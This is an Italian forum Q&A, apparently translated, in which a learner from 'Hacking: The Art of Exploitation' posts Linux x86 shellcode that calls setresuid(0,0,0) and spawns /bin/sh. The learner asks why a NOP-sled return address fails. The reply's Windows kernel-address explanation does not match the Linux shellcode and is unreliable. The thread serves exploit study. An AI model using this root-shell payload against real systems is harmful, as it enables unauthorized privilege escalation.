Shellcode per i privilegi di file più elevati

1

Sto imparando gli exploit del libro Hacking: The Art of Exploitation . Il codice shell qui sotto è stato scritto per consentire un accesso privilegiato ai file.

\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80
\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62
\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80 

Tuttavia sembra che lo shellcode non funzioni per gli indirizzi, sul mio computer (con la slitta NOP) 0xffffd9e2 ripetuto 40 volte da quando l'autore ha scritto lo shellcode nel libro per 0xbffff6f6. Mi chiedo se ho bisogno di scrivere uno shellcode specifico per 0xffffd9e2.

    
posta b3l4rus 16.05.2012 - 04:14
fonte

1 risposta

3

In Windows, ci può essere un problema con gli indirizzi del kernel. Ogni service pack ha diversi indirizzi del kernel. Suggerirei di utilizzare lo shellcode "multipiattaforma" da exploit-db.com o packetstormsecurity.org

    
risposta data 07.11.2012 - 13:25
fonte

Leggi altre domande sui tag